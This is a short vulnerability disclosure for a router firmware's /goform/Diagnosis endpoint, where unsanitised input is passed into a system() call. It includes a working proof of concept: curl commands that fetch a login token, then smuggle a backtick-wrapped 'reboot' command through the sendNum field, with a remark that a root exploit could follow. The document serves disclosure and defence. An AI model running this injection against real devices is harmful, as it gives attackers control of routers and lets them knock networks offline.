







The picture above shows the latest firmware for this version

## **Vulnerability details**

Vulnerability occurs in /goform/Diagnosis, After the if condition is met, setnum will be spliced into v10 by snprintf, and finally system will be executed, resulting in a command injection vulnerability

## Poc

The first thing you need to do is to get the tokenid

```
curl http://192.168.0.1/dir_login.asp | grep tokenid
```

Then run the following poc

```
curl -i -X POST http://192.168.0.1/goform/Diagnosis -d tokenid=xxxx -d
'pingAddr=192.168.0.1' -d 'sendNum=`reboot`'
```

Then you can see that the router restarts, and finally we can write an exp to get root